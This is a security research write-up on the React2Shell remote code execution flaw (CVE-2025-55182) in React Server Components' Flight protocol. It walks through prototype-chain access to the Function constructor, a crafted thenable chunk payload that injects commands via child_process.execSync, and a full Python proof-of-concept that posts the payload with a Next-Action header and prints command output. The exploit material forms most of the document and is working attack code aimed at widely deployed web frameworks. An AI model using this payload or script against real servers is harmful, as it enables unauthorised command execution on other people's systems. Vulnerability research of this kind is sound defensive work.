26/01/26
React2Shell | CVE-2025-55182
Security Research: React Server-Side Rendering Vulnerability
بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ

(Important) One of the methods to create a function in JS is function constructor
1var func1 = Function()
2var func2 = Function(”<function-code>”)
3var func3 = Function(”<param>” , “<code>”)Note: These functions considered as anonymous functions so save it in a variable and call it
The prototype represent the shape of the object (properties, functions, parameters …etc.)

we can use __proto__ to call a specific functions inside this shape
1var obj = {}
2obj.__proto__.toString()
3alert.__proto__.toString()We can call the constructor
1alert.__proto__.constructor // ==> Function() which is a function constructorWe can get the Function constructor but from object (Obj → Prototype → Function → Construstor)
1var x = {}
2var func7 = x.__proto__.toString.constructor("alert()")the constructor also considered as function
1var x = {}
2var func7 = x.__proto__.constructor.constructor("alert()")
First suspection part: Flight Protocol which make the data represented as chunks
And we can reference data from another chunk using the '$' sign
1files = {
2 "0": (None, '["$1"]'), // $1 -> means get the data in the chunck 1
3 "1": (None, '{"object":"fruit","name":"$2:fruitName"}'), // Go to chunck 2 and get the property fruitName from it
4 "2": (None, '{"fruitName":"cherry"}'),
5}1{ object: 'fruit', name: 'cherry' }The problem is there’s no check on the referencing of this chunks, which means we can refer to anything we want (That’s the problem!)
So, we can create a function constructor inside the chunks by calling any function's constructor inside the prototype
1files = {
2 "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
3 "1": (None, '{"x":1}'),
4}1files= {
2 "0": (None, '{"then":"{"x":1}:__proto__:constructor:constructor"}'),
3}1{"x":1}.__proto__.constructor.constructor1[Function: Function]Now, we need to:
- Call this function
- Inject a code inside it
We've noticed in a file called action-handler.ts that the chunks are taken with await keyword and return the value without any checks, so to use this, we will create the function as a Thenable function


To Create it as thenable function we need to access the then property of the function constructor or access it from the prototype directly.
1files = {
2 "0": (None, '{"then":"$1:__proto__:then"}'),
3 "1": (None, '{"x":1}'),
4}But if we go more inside, we will notice in the following code snippet we need to thenable to the whole chunk object not just its data

So, we will use another shape of referring, we will '$@' sign to refer to the chunk object itself, not just its data
1files = {
2 "0" : (None, "{'then':'$1:__proto__:then'}"),
3 "1" : (None, "$@0")
4}1Chunk.__proto__.then = function(resolve, reject) {
2 // Code Injection Vuln.
3}To get inside the interesting function that we hightlighted in the previous screen shot we should make status value be "resolved_model"
1files = {
2 "0" : (None, "{'then':'$1:__proto__:then', 'status':'resolved_model'}"),
3 "1" : (None, "$@0")
4}1Chunk.__proto__.then = function(resolve, reject, 'status' == 'resolved_model') {
2 // Code Injection Vuln.
3}Now, we created the function and make it called, and we are inside the vulnerable function `initializeModelChunk` that we want to exploit.
All we need now is to override this function to inject our payload that will leads to RCE
1function initializeModelChunk(chunk) {
2 // ...
3 var rawModel = JSON.parse(resolvedModel),
4 value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
5 // ...
6}So, the vulnerable function take a property from 'chunk' called _response and pass it modelRevive function
1case "B":
2 return (
3 (obj = parseInt(value.slice(2), 16)),
4 response._formData.get(response._prefix + obj)
5 );Inside the function, there's a get function that we will override and take a _perfix proprty from the _response object and case 'B'
So, The Complete Payload steps
- Referr to the chunk object itself using '$@'
- Create a function constructor inside the chunk
- Make it thenable to be called and set status as "resolved_model"
- Edit the _response object to inject our payload
- Override the get function to make function constructor which will take the _perfix property from us
- Make the _perfix property a System command code
1crafted_chunk = {
2 "then": "$1:__proto__:then",
3 "status": "resolved_model",
4 "reason": -1,
5 "value": '{"then": "$B0"}',
6 "_response": {
7 "_prefix": f"process.mainModule.require('child_process').execSync('calc');",
8 "_formData": {
9 "get": "$1:constructor:constructor",
10 },
11 },
12}
13
14files = {
15 "0": (None, json.dumps(crafted_chunk)),
16 "1": (None, '"$@0"'),
17}You can use the following python script as a PoC:
1
2import requests
3import sys
4import json
5
6TARGET_URL = "http://localhost:3000"
7COMMAND = "id"
8
9crafted_chunk = {
10 "then": "$1:__proto__:then",
11 "status": "resolved_model",
12 "reason": -1,
13 "value": '{"then": "$B0"}',
14 "_response": {
15 "_prefix": f"var res = process.mainModule.require('child_process').execSync('{COMMAND}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:${res}}});",
16 "_formData": {
17 "get": "$1:constructor:constructor",
18 },
19 },
20}
21
22files = {
23 "0": (None, json.dumps(crafted_chunk)),
24 "1": (None, '"$@0"'),
25}
26
27headers = {"Next-Action": "x"}
28res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
29print(res.status_code)
30print(res.text)